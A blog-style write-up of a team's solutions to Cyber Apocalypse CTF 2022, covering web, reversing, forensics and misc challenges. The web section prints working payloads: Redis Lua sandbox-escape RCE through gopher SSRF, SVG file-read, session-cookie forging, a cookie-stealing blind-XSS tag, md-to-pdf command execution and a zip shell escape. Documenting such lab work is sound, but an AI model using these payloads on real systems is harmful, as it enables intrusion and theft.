Cyber Apocalypse 2022

Damaidec
18 min readMay 20, 2022

The CTF was so fun and lots of learnings we also encountered new friends and teammates a long the event. He was from novasecurity you could check their website novasecurity.net they have 3 main part education, redteaming, consulting. The reversing was fun and like playing a puzzle and putting the pieces together and for the web i didnt check all of the web but most that i check they was related to CVE.

Cyber Apocalypse CTF 2022 — Intergalactic Chase

A super villain named Draeger escaped from a maximum security prison, formed his own evil squad, and convinced the Intergalactic Federal Government to work for him! You are a group of misfits that came together under unlikely circumstances, each with their own hacking “superpowers” and past with Draeger…

Get ready to travel the universe on your spaceship in pursuit of proving Draeger is a criminal and getting answers for your personal stories.

Challenge solved

Web:

red island
Mutation Lab
Kryptos Support
blinkerfluids

Reversing:
Teleport
Omega One
Wide
Rebuilding
without a trace

Forensics:
Puppeteer

Misc:
compressor

WEB

Red Island

This challenge is related to cve-2022–0543 which is an redis LUA sandbox escape to rce and no downloadable file for source code.

challenge description

checking the web it has a login page where you could register and login quickly

after logging in theres an input where you could provide a url. after providing a url with image it renders and turns the other part as red color

looking at some payloads from payloadsallthethings i used the file:///etc/passwd to check if we could turn it into LFI. but looking for the flag doesnt lead anyware

after that i tried to get the source code of the application to know what it does and where the flag is.

after reading all of the source code we see that there is redis. checking the package.json we could see the redis version and some other dependencies it uses

confirming if redis is running inside the machine we could check various files such as the /etc/hosts or the history but checking the /etc/passwd it looks like it doesnt have any home directory for user all the left is to fuzz the cmdline which resides at /proc to see the processes

after fuzzing it we see that redis is running but i decided to continue to fuzz for more after 400 i stopped it since i think theres no more to it.

https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis

after trying some payloads and modifying it we got successful +OK response which tell us that this is successfully executed by the redis the thing i noticed in this if we did not added quit it will not load or give us the output since it considers that it was still on the redis-cli

gopher://127.0.0.1:6379/_q%0Aconfig%20set%20dir%20/app%0Aconfig%20set%20dbfilename%20qwe.js%0Asave%0Aquit%0A

trying various stuffs with it such as trying to get web shell, replacing the index.js and access it thru SSRF and some various stuffs but non works

https://lzone.de/cheat-sheet/Redis
I decided to look at redis commands and check what we could do with it and what information we could get from the redis.

gopher://127.0.0.1:6379/_info%0Asave%0Aquit%0A

after figuring this out for almost 3 days what could do to get the flag. then a teammate was found and he was from novasecurity where he help to figure out to get the flag.

after that i realized that i lack more information about redis. It turns out redis have some eval and checking the results from the redis-cli info it also has lua.

https://redis.io/commands/eval/

after googling for more we found cve 2022-0543. This CVE is redis lua sandbox escape and turns it into RCE. It was done by package loading of /usr/lib/x86_64-linux-gnu/liblua5.1.so.0 and executing some rce with io.popen() since redis have some eval and we know that eval is dangerous and could turn this to rce

https://developpaper.com/cve-2022-0543-redis-lua-sandbox-escape-rce/

after trying the payload wew got a successful response of uname -a

gopher://127.0.0.1:6379/_eval%20'local%20io_l%20=%20package.loadlib(%22/usr/lib/x86_64-linux-gnu/liblua5.1.so.0%22,%20%22luaopen_io%22);%20local%20io%20=%20io_l();%20local%20f%20=%20io.popen(%22uname%20-a%22,%20%22r%22);%20local%20res%20=%20f:read(%22*a%22);%20f:close();%20return%20res’%200%0Asave%0Aquit%0A

after looking where the flag is it was on the /root/flag

gopher://127.0.0.1:6379/_eval%20'local%20io_l%20=%20package.loadlib(%22/usr/lib/x86_64-linux-gnu/liblua5.1.so.0%22,%20%22luaopen_io%22);%20local%20io%20=%20io_l();%20local%20f%20=%20io.popen(%22cat%20/root/flag%22,%20%22r%22);%20local%20res%20=%20f:read(%22*a%22);%20f:close();%20return%20res’%200%0Asave%0Aquit%0A

Mutation Lab

This challenge is about CVE-2021–23631 a vulnerability on nodejs (conver-svg-to-png) where you could escalate it into Directory traversal. The challenge dont have a downloadable file for source code.

checking the website it has a login and register

after logging in we got some cool animation on the web.

clicking one of the button on the export cell or tadpole we see that it converts svg file into a png

png file export

adding some payload of svg it still converts the file but it looks like on a default icon

{“svg”:”<svg width=’200' height=’200' xmlns=’http://www.w3.org/2000/svg' xmlns:xlink=’http://www.w3.org/1999/xlink%27%3E <image xlink:href=’https://example.com/image.jpg' height=’200' width=’200'/> </svg>”}

researching about exploit on svg we found 2 links and its about directory traversal where you could read internal files

https://gist.github.com/legndery/a248350bb25b8502a03c2f407cedeb14

https://security.snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-1582785

payload for path traversal

const fileSvg = `<svg-dummy></svg-dummy> <iframe src=”file:///etc/passwd” width=”100%” height=”1000px”></iframe> <svg viewBox=”0 0 240 80" height=”1000" width=”1000" xmlns=”http://www.w3.org/2000/svg”> <text x=”0" y=”0" class=”Rrrrr" id=”demo”>data</text> </svg>`;

trying the svg payload it gives us only a png but going to the directory it shows the result of /etc/passwd

“svg”:”<svg-dummy></svg-dummy> <iframe src=’file:///etc/passwd’ width=’100%’ height=’1000px’></iframe> <svg viewBox=’0 0 240 80' height=’4000' width=’1000' xmlns=’http://www.w3.org/2000/svg'> <text x=’0' y=’0' class=’Rrrrr’ id=’demo’>data</text> </svg>”

looking for the flag.txt doesnt lead to anywhere since we got some LFI we could turn this into a white box testing

also adding some error this leaks the directory of the node app

/app

reading the source code of /app/index.js we could see here that theres .env file on /app and also it uses to sign the session cookie

/app/index.js

checking the routes/index.js we could see that theres ../readflag but trying to read that doesnt lead to anywhere but we got now the idea that if we log in as admin we could get the flag

/app/route/index.js

reading package.json we see the version of svg to png and some dependencies used by the application

/app/package.json

reading the dbfile we could confirm that admin is the username but the password is not existing

/app/database.js

checking the .env file it shows the session secret key which used to sign the cookies

/app/.env

since we got the idea that we could get the flag if log in as admin and we have the session secret key we could forge now the cookie of the admin.

but the problem is how we forge it after searching for online tool to that doesnt lead to anywhere and ends up in making a script to let use forge the cookie

my teammate anantha vijay made a nodejs script for forging cookie session. where it uses cookie-session where we found in package.json and express also searching the session cookie.sig it will tell you it was cookie-sesion.

https://expressjs.com/en/resources/middleware/cookie-session.html

https://www.npmjs.com/package/cookie-session

var cookieSession = require(‘cookie-session’)
var express = require(‘express’)

var app = express()

app.use(cookieSession({
name: ‘session’,
keys: [‘5921719c3037662e94250307ec5ed1db’]
}))

app.get(‘/’, function (req, res, next) {
// Update views
req.session.username = “admin”

// Write response
res.end(req.session.username)
})

app.listen(3000)

we hosted the script on replit it was cool website where you could do some code sandboxing such as python, node, powershell and etc …

after getting the admin cookie we replaced it now on the target site and refresh then we are now admin and got the flag

checking it on burp for much more easier to copy paste the flag also shows there

Kryptos Support

This challenge doesnt have any downloadable files and the vulnerability is XSS and we could get the flag by sending xss payload with cookie stealing and logged in as that user afterwards you will be updating the admin password thru an IDOR. The challenge was solved by my teammate anantha vijay

checking the web we got a way to send a ticket report since this is a xss challenge we could use xss hunter to do some blind xss to get the flag and the response if it could trigger at the other side

clicking the backend it gives a login interface but theres no way to register an account

after putting the payload we got response from xss hunter and also they will email you if someone trigger your xss so it is a good for bug bounty for doing some blind xss

“><script src=https://[your-xsshunter-payload].xss.ht></script>

checking the response we got the session cookie and the html where the code is injected into

replacing the cookie and going to /tickets it allows us to login as moderator

instance broken with many xss payload from the first try i did so i restarted it again afterwards i go to settings where you could reset your password or rather change it

intercepting it with burpsuite we got uid and password since this is a uid which pertains to userid we could try and change it into other value and see if it could change the password of other account without any validation of its original user

changing the uid to 1 we see that it change the password for the admin and trying now to login as admin:123 it logged us in

after we logged in we see the flag now

blinkerfluids

this challenge is CVE-2021–23639 which vulnerability resides on md-to-pdf that could lead into RCE. The challenge has a file downloadable. It was also solved by my teammate anantha vijay and i tried to explore more about this application and the cve is all about

checking the website we could delete preview and create pdf and looking at the pdf its just a normal looking pdf

checking the source code since this is a node app the best way to check for vulns is checking the package.json where it gives you the versions of the packages/dependencies used on the node app

package.json

checking the routes/index.js we see that theres a markdown_content where our input will goes into.

routes/index.js

checking the MDHelper.js there is the md-to-pdf and it outputs the file into static/invoices/{}.pdf also we notice that theres the content: markdown where our input will goes into

MDHelper.js

checking the vuln we found snyk and have some payloads to use

https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880 ::::: https://snyk.io/vuln/npm%3Amd-to-pdf

using the payload on snyk doesnt work it just simply prints it out and searching for more info is needed

---jsn((require("child_process")).execSync("id > /tmp/RCE.txt"))n---RCE

checking the --- what is all about we see on the documentation that it was a horizontal rules for the pdf

https://www.markdownguide.org/basic-syntax/

after googling a bit we see the md-to-pdf issues on github but the paylod is similar to snyk the only difference here is the \n on snyk it was only jsn where this could be needed into new line

https://github.com/simonhaenisch/md-to-pdf/issues/99
after reading the github issue it exposes the JS engine when it use the ---after trying horizontal rules with ***js ___js it doesnt work and also trying ---qwe doesnt work also this seems like adding a ---js would consider to use js engine and the next new line as new code and executes it and the last --- and new line doesnt matter you could still get RCE with"markdown_content":"---js\n((require('child_process')).execSync('cat ../flag.txt > static/invoices/flag.txt'))"}

the reason why we did not include the

const { mdToPdf } = require(‘md-to-pdf’);

var payload =

its because if you see the entry point of our payload this would looks a bit wrong where it would doubles the const { mdToPdf } = require(‘md-to-pdf’); and also the var payload which is the entrypoint and checking the github we see tha it was on a poc.js and being run with node poc.js which consider as a whole new code but here we already got the package and the entrypoint all we just needed is to add the payload

after using the payload on the github it gives a success and checking the file we got successful RCE and we can get now our flag

{“markdown_content”:” — -js\n((require(‘child_process’)).execSync(‘ls > static/invoices/flag.txt’))\n — -RCE”}
{“markdown_content”:” — -js\n((require(‘child_process’)).execSync(‘cat ../flag.txt > static/invoices/flag.txt’))\n — -RCE”}

Reversing

Teleport

checking the file it was stripped so this means it would be much harder for us to read the functions and stuffs

after enumerating the app we see a setjmp and jump_buf_tag not sure what this was do but after finishing the challenge probably it was something like a reference for each characters im not 100% sure if this is correct but that what it feels like

running the file it also asks for password

FUN_00101696

if we look at iVar1 = _setjmp((__jmp_buf_tag *)&DAT_003031a0);
flag is being compared or rather the password was compared with iVar1 with jump buf tag function on DAT_003031a0

if you go to those each function it will show some data thats being compared to a single character all that left is get each single character on if statment and get the hexadecimal value as its placement of the flag

each hexadecimal will corresponds as decimal placement of each value and will turn into a flag

value of the data and its placement we could see here at if (DAT_) is == t and below it is longjmp(jmpbuftag) whic has a value of 0x12

after you finished putting all of the puzzle piece it will turns into HTB{h0pp1ng_thru_th3_sp4c3_t1m3_c0nt1nuum!}

Omega One

The challenge contains 2 file output.txt and the app. The output.txt contains list of words or names

checking the file it is stripped. but running an ltrace on the app it shows like it was being comparred to those names like in the output.txt

The binary file did output the flag with each value of a specific name on the outpu.txt and the data was in the DAT_00303018 where the corresponding value of each name and letter

./ltrace also shows us that it compares the value of it to each of the data on the DAT_00303018 but it was too large so i did it manually for the missing data such as Dut it would still be found and just renamed as DAT_blah_blah_blah

as you noticed each name have specific value of the data below it and will corresponds as the flag and just follow the output.txt it will give you the data you can make a script or do it manually with sublime + regex + deleting some stuffs then manually putting the pcs together

after you put the puzzle pieces it will turns into HTB{l1n34r_t1m3_but_pr3tty_sl0w!}

WIDE

the file is not stripped which is much easier since we could read the functions and other stuffs easily

running the application it show some options and adding the name it gives description

checking the menu function it shows a password looking and it was being compared also

menu function

adding the 6 or the name that resides in position 6 and you enter the key it will give you the flag

Rebuilding

the file is not stripped which the functions could be read easily and analyzing the file is easy

running the app it shows that it needs some passphrase and a length of the password to 32 chars which we could consider it as a possible flag for the password

looking at the function we see encrypted which is the data or the flag and its being xored with they key

checking the encrypted we see some hex values and we could just do copy byte string to get those hex values

copy byte string

hex values
29 38 2b 1e 06 42 05 5d 07 02 31 42 0f 33 0a 55 00 00 15 1e 1c 06 1a 43 13 59 36 54 00 42 15 11 00

going to the key it shows us humans as the key used to xor the data but it doesnt work

looking for more we found another key at _ini_1 with a value of aliens

going to cyber chef and adding the key as aliens it gives us the flag

without a trace

the file is not stripped and we know what it does to do functions and etc …

running the app it asks for password

running ltrace it was comparing with IUCzus5b2^l2^tq^c5^t^f1f1|

i got into a rabbit hole with this one since i did something like ascii cipher shift and you do rot 13 which gives you a similar flag but wrong values on the inside

IUCzus5b2^l2^tq^c5^t^f1f1|

decompiling the main function it was cvar1 is calling check_password(local_58)

after checking what it does its xoring the password

while (local_40 < 0x1a) {
*(byte *)((long)&local_38 + (long)(int)local_40) =
*(byte *)((long)&local_38 + (long)(int)local_40) ^ (char)lVar2 + 0x7fU;
local_40 = local_40 + 1;
}

using xor bruteforce on cyberchef it gives the flag and the key as 1

Forensics

Puppeteer

The challenge was solved by my teammate kesav and i participated in getting the files and where the flag is

after unzipping the file it gives a tons of file of evtx

since this is an evtx challenge we could use evtx_dump.py and i made a simple bash script to use since i always forgot the syntax for this one and there are tons of it to use to analyze the file

using evtx_dump.py and knowing that this is a forensics challenge we will most likely to suspect files of powershell since attacker mostly use powershell or cmd

after running the command it gives and interesting data with the eventID of 4104 which have some obfuscated stuffs

reading the source we see that it uses bxor 0xd1 on the stage3 which is a combination of stage1 and stage 2 reversed array

if your wondering what is about that sup3rk3y it was the new password of the newly created account on the system and might be useful.

this script is made by my teammate kesav it was a solution to get the flag by decrypting it using xor with a value of 209 or 0xd1 in hexadecimal

script made by my teammate

alternative way of solving you could use cyberchef

Misc

compressor

The challenge was solved by my teammate anantha vijay

running the challenge it let us connect to the netcat and give us a cli selection where we could zip run command delete and etc …

since it was using zip and we got some container we could check gtfobins for zip shell or escaping by using zip since the other commands since it wont let us do so

https://gtfobins.github.io/gtfobins/zip/

TF=$(mktemp -u)
zip $TF /etc/hosts -T -TT 'sh #'
rm $TF

after trying the gtfobins steps we escaped now from shell

This marks now as my 1yr on studying cybersec or rather playing CTF looking back i was only able to solve 3 challenges but now i was able to do a lot more and got a team that i could rely on.

Thank you for my teammate and our new friend found on playing ctf from novasecurity which i learned a lot from him

--

--